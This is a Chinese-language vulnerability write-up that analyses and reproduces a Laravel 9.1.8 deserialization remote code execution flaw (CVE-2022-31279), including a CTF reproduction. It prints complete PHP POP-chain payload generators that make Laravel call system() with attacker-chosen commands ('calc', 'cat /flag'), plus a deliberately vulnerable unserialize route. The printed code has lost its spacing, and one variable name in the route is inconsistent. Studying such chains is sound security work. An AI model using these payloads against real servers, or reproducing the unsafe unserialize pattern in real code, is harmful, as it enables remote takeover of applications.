反序列化漏洞是如今很常见的漏洞类型,有很多分类,也有很多绕过方式。本文选取了一个今年比较典型的反序列化漏洞,进行了一个分析并复现。
漏洞详情
Laravel是一套简洁、优雅的PHP Web开发框架。
近日,Laravel 被披露存在多个安全漏洞,可允许通过反序列化POP链实现远程代码执行,如下:
CVE-2022-31279
:Laravel远程代码执行漏洞
Laravel 9.1.8在处理反序列化数据时,允许通过
IlluminateBroadcastingPendingBroadcast.php
中的 __destruct 和
FakerGenerator.php
中的 __call中的反序列化POP链实现远程代码执行。
漏洞分析
根据漏洞信息的描述, 跟进
src/Illuminate/Broadcasting/PendingBroadcast.php
中的
__destruct
方法, 可以看到这里的
$this->events
和
$this->event
均为可控的, 寻找可用的
dispatch
方法:
跟进
src/Illuminate/Bus/Dispatcher.php
中的
dispatch
方法, 这里的
$command
和
$this->queueResolver
均是可控的:
跟进
dispatchToQueue
方法,
$command
和
$this->queueResolver
均是可控的, 可以利用该方法中的
call_user_func
方法来进行命令执行的利用:
接下来就是命令执行的语句, 注意到上图中的代码
$connection = $command->connection ?? null;
, 这里可以通过
src/Illuminate/Broadcasting/BroadcastEvent.php
中的类中变量来控制
$connection
, 从而达到命令执行的目的。
POP Chain
<?phpnamespaceIlluminate\Contracts\Queue{interfaceShouldQueue{}}namespaceIlluminate\Bus{classDispatcher{protected$container;protected$pipeline;protected$pipes=[];protected$handlers=[];protected$queueResolver;function__construct(){$this->queueResolver="system";}}}namespaceIlluminate\Broadcasting{useIlluminate\Contracts\Queue\ShouldQueue;classBroadcastEventimplementsShouldQueue{function__construct(){}}classPendingBroadcast{protected$events;protected$event;function__construct(){$this->event=newBroadcastEvent();$this->event->connection="calc";$this->events=new\Illuminate\Bus\Dispatcher();}}}namespace{$pop=new\Illuminate\Broadcasting\PendingBroadcast();echobase64_encode(serialize($pop));}
漏洞复现
我们从laravel官网下载了
Laravel 9.1.8
的源码之后,添加一个入口,修改
routes\web.php
如下:
<?phpuseIlluminate\Support\Facades\Route;/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/Route::get('/',function(\Illuminate\Http\Request$request){$vuln=base64_decode($request->input("vuln"));unserialize($ser);return"H3rmesk1t";});
添加了入口之后,通过上面的分析和得到的POP链,即可进行复现:
相同漏洞的复现
本次复现,源码来源于cj师傅之前出题所用的源码和2022NepCTF的题目:
下载源码后,是Laravel框架:
hello路由
是一个反序列化点
可以用POP链:
<?phpnamespaceIlluminate\Contracts\Queue{interfaceShouldQueue{}}namespaceIlluminate\Bus{classDispatcher{protected$container;protected$pipeline;protected$pipes=[];protected$handlers=[];protected$queueResolver;function__construct(){$this->queueResolver="system";}}}namespaceIlluminate\Broadcasting{useIlluminate\Contracts\Queue\ShouldQueue;classBroadcastEventimplementsShouldQueue{function__construct(){}}classPendingBroadcast{protected$events;protected$event;function__construct(){$this->event=newBroadcastEvent();$this->event->connection="cat /flag";$this->events=new\Illuminate\Bus\Dispatcher();}}}namespace{$pop=new\Illuminate\Broadcasting\PendingBroadcast();echobase64_encode(serialize($pop));}
可以得到结果:
因此复现成功!
版权归原作者 Koko~ 所有, 如有侵权,请联系我们删除。